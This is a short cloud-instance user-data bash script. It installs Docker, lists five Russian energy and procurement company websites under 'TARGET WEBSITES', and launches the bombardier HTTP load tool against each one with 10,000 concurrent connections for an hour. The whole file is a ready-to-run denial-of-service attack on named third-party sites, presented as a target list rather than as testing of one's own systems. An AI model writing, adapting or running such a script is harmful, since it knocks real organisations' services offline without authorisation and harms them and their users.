user-data.txt

#!/bin/bash
yum update -y
yum install docker -y
systemctl enable docker.service
systemctl start docker.service

# ============= TARGET WEBSITES ==============
cat <<EOF > targets.txt
transneft.ru
tektorg.ru
rosneft.com
lukoil.com
gazprom.ru
EOF
# =========== END TARGET WEBSITES ============

for target in $(cat targets.txt)
do
    docker run -d --rm alpine/bombardier -c 10000 -d 1h -l $target
done